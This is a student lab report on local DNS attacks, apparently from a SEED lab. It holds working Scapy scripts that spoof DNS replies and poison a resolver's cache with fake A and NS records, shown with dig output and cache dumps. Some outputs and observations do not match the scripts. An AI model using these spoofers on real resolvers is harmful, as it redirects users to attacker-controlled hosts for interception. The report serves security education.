

Assignment # 2

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Local DNS Attack

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Section 1.4: Testing the DNS setup

1. Extracting the containers IDs

```
seed@VM: ~  
[11/16/23]seed@VM:~$ dockps  
48aa8abc4e50  seed-attacker  
cfff6c8536cde  attacker-ns-10.9.0.153  
a3f02d0fe30b  local-dns-server-10.9.0.53  
e58dd1ea0e92  user-10.9.0.5  
db26eabc2d01  seed-router  
[11/16/23]seed@VM:~$
```

2. Entering “dig ns.attacker32.com” command to check is DNS configurations are correct from user container.

```
seed@VM: ~/../Labsetup  
[11/16/23]seed@VM:~/../Labsetup$ docksh e58dd1ea0e92  
root@e58dd1ea0e92:/# dig ns.attacker32.com  
  
; <<> DiG 9.16.1-Ubuntu <<> ns.attacker32.com  
;; global options: +cmd  
;; Got answer:  
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 35321  
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1  
  
;; OPT PSEUDOSECTION:  
; EDNS: version: 0, flags:; udp: 4096  
; COOKIE: 3fa3b3d98d1d58270100000065565c21baff5855307672df (good)  
;; QUESTION SECTION:  
;ns.attacker32.com.                IN      A  
  
;; ANSWER SECTION:  
ns.attacker32.com.                259200  IN      A      10.9.0.153  
  
;; Query time: 216 msec  
;; SERVER: 10.9.0.53#53(10.9.0.53)  
;; WHEN: Thu Nov 16 18:14:57 UTC 2023  
;; MSG SIZE rcvd: 90
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3. Entering “**dig www.example.com**” command to check is DNS configurations are correct from user container.

```
seed@VM: ~/.../Labsetup
root@e58dd1ea0e92:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51233
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bfa59ad371457b920100000065565d33804a1cd60e8fad2a (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                86400   IN      A      93.184.216.34

;; Query time: 2636 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 16 18:19:31 UTC 2023
;; MSG SIZE rcvd: 88
```

4. Enter “**dig @ns.attacker32.com www.example.com**” command to check is DNS configurations are correct from user container.

```
root@e58dd1ea0e92:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19350
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 38970b92f4788f050100000065566108ce883208f0a06a96 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Nov 16 18:35:52 UTC 2023
;; MSG SIZE rcvd: 88
```

Observations: It is found that while using ‘**dig www.example.com**’ queries Local DNS server for the resolving the IP address and gets response as ‘**93.184.216.34**’. While ‘**dig @s.attacker32.com www.example.com**’ queries the attacker DNS server to resolve the IP address for **www.example.com** hence the IP address received in the later case is fake IP ‘**1.2.3.5**’. Since it's an attacker-controlled server, the response could be manipulated to redirect the request to a malicious IP address, leading to a potential man-in-the-middle attack.

Section 2: The Attack Task

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2.1 Task 1: Directly Spoofing Response to User

- a) Intentionally slow down the traffic going to the outside, so the authentic replies will not come that fast.

```
seed@VM: ~  
[11/18/23] seed@VM:~$ sudo tc qdisc show dev enp0s3  
qdisc netem 8004: root refcnt 2 limit 1000 delay 2.0s
```

- b) Code for Spoofing DNS reply:

```
#!/usr/bin/env python3  
from scapy.all import *  
  
def spoof_dns(pkt):  
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  
        # Swap the source and destination IP address  
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  
        # Swap the source and destination port number  
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  
        # The Answer Section  
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  
                        ttl=259200, rdata='10.0.2.5')  
        # The Authority Section  
        NSsec1 = DNSRR(rrname='example.com', type='NS',  
                        ttl=259200, rdata='ns1.example.com')  
        NSsec2 = DNSRR(rrname='example.net', type='NS',  
                        ttl=259200, rdata='ns2.example.com')  
        # The Additional Section  
        Addsec1 = DNSRR(rrname='ns1.example.com', type='A',  
                         ttl=259200, rdata='1.2.3.5')  
        Addsec2 = DNSRR(rrname='ns2.example.com', type='A',  
                         ttl=259200, rdata='5.6.7.8')  
        # Construct the DNS packet  
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  
                      qdcount=1, ancourt=1, nscourt=2, arcount=2,  
                      an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)  
        # Construct the entire IP packet and send it out  
        spoofpkt = IPpkt/UDPpkt/DNSpkt  
        send(spoofpkt)  
# Sniff UDP query packets and invoke spoof_dns().  
f = 'udp and dst port 53'  
pkt = sniff(iface='br-e223d583fce9', filter=f, prn=spoof_dns)
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c) Dig www.example.com output

```
root@e58dd1ea0e92:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53832
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns1.example.com.
example.net.                   259200  IN      NS      ns2.example.com.

;; ADDITIONAL SECTION:
ns1.example.com.               259200  IN      A      1.2.3.5
ns2.example.com.               259200  IN      A      5.6.7.8

;; Query time: 51 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Nov 19 12:36:15 UTC 2023
;; MSG SIZE rcvd: 206
```

2.2 Task 2: DNS Cache Poisoning Attack – Spoofing Answers

a) Flushing the cache

```
root@a3f02d0fe30b:/# rndc flush
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db

;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231110052501
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
```

b) Python program to flush local DNS Cache.

```
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
```

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```
# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')
# The Authority Section
NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
rdata='ns1.example.com')
NSsec2 = DNSRR(rrname='example.net', type='NS',ttl=259200,
rdata='ns2.example.com')
# The Additional Section
Addsec1 = DNSRR(rrname='ns1.example.com', type='A',ttl=259200, rdata='1.2.3.5')
Addsec2 = DNSRR(rrname='ns2.example.com', type='A',ttl=259200, rdata='5.6.7.8')
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-e223d583fce9', filter=f, prn=spoof_dns)
```

c) Final result on dig www.example.com from user machine.

```
seed@VM: ~/.../Labsetup

root@e58dd1ea0e92:/# dig www.example.com

;<<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 31271
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 692edebc38aaabdd01000000655af2f02f15f40cdb45626c (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                258909  IN      A      10.0.2.5

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Nov 20 05:47:28 UTC 2023
;; MSG SIZE rcvd: 88
```

d) Poisoned Local DNS server Cache

```
root@a3f02d0fe30b:/#
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db | grep example
example.com.                777581  NS      ns1.example.com.
ns1.example.com.            863982  A      1.2.3.5
www.example.com.            863982  A      10.0.2.5
```


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2.3 Task 3: Spoofing NS Records

a) Flushing the cache

```
root@a3f02d0fe30b: /
root@a3f02d0fe30b:/# rndc flush
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231110052501
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
```

b) Python program to conduct attack DNS Cache.

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='10.0.2.5')

        # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')

        # The Additional Section
        Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200,
rdata='10.9.0.153')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=1, arcount=1, an=Anssec, ns=NSsec1, ar=Addsec1)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-e223d583fce9', filter=f, prn=spoof_dns)
```

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c) Final result on dig www.example.com from user machine.

```
root@e58dd1ea0e92:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25816
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.

;; Query time: 28 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Nov 19 13:15:22 UTC 2023
;; MSG SIZE rcvd: 106
```

d) Poisoned DNS cache.

```
root@a3f02d0fe30b: /
root@a3f02d0fe30b:/# rndc flush
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db | grep example
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db | grep example
example.com.                863992  NS      ns.attacker32.com.
_.example.com.              863992  A      10.0.2.5
```

2.4 Task 4: Spoofing NS Records for Another Domain

a) Flushing the cache

```
root@a3f02d0fe30b: /
root@a3f02d0fe30b:/# rndc flush
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231110052501
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
```

b) Python program to poison local DNS cache.

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
```

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```
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
    # The Authority Section
    NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
    # The Additional Section
    Addsec1 = DNSRR(rrname='ns.example.com', type='A', ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200, rdata='5.6.7.8')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
myFilter = 'udp and dst port 53'
pkt = sniff(iface='br-e223d583fce9', filter=myFilter, prn=spoof_dns)
```

c) Final result on dig www.google.com from user machine.

```
seed@VM: ~/.../Labsetup
root@e58dd1ea0e92:/# dig www.example.com

;<>> DiG 9.16.1-Ubuntu <>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 46538
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.
google.com.                     259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.example.com.                 259200  IN      A      1.2.3.4
ns.example.com.                 259200  IN      A      5.6.7.8

;; Query time: 59 msec
```

d) Poisoned DNS cache.

```
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db | grep example
example.com.                777587  NS      ns.attacker32.com.
www.example.com.            863990  A      10.0.2.5
root@a3f02d0fe30b:/#
```


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2.5 Task 5: Spoofing Records in the Additional Section

a) Flushing the cache

```
root@a3f02d0fe30b:/# rncd flush
root@a3f02d0fe30b:/# rncd dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231110052501
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
```

b) Python program to poison local DNS cache and perform attack.

```
#!/usr/bin/env python3
from scapy.all import *
from scapy.all import conf as scapyconf
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
        # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        # The Additional Section
        Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)
        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
scapyconf.sniff_promisc = 1
myFilter = 'udp and dst port 53'
pkt = sniff(iface='br-e223d583fce9', filter=myFilter, prn=spoof_dns)
```

c) Final result on **dig www.example.com** from user machine.

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```
root@e58dd1ea0e92:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44332
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.com.                    259200  IN      NS      ns.attacker32.com.
example.com.                    259200  IN      NS      ns.attacker32.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.              259200  IN      A      1.2.3.4
www.facebook.com.              259200  IN      A      3.4.5.6
```

d) Poisoned DNS cache.

```
root@a3f02d0fe30b:/# rndc dumpdb -cache
root@a3f02d0fe30b:/# cat /var/cache/bind/dump.db | grep example
example.com.                777594  NS      ns.attacker32.com.
www.example.com.            863997  A      10.0.2.5
root@a3f02d0fe30b:/# █
```

Observations:

www.facebook.com. 259200 IN A 3.4.5.6:

Caching: This entry may or may not be cached, depending on the behavior of the DNS resolver.

Reason: The entry is irrelevant to any entry in the reply (not related to the AUTHORITY or ANSWER SECTION). Hence, DNS resolvers may not choose to cache it.

ns.attacker32.com. 259200 IN A 1.2.3.4:

Caching: This entry should be cached. It provides the IP address (1.2.3.4) for the nameserver "ns.attacker32.com" mentioned in the AUTHORITY SECTION.

Reason: This is a legitimate use of the ADDITIONAL SECTION to provide the IP address of an authoritative nameserver.

ns.example.net. 259200 IN A 5.6.7.8:

Caching: This entry should be cached. It provides the IP address (5.6.7.8) for the nameserver "ns.example.net" mentioned in the AUTHORITY SECTION.

Reason: This is a legitimate use of the ADDITIONAL SECTION to provide the IP address of an authoritative nameserver.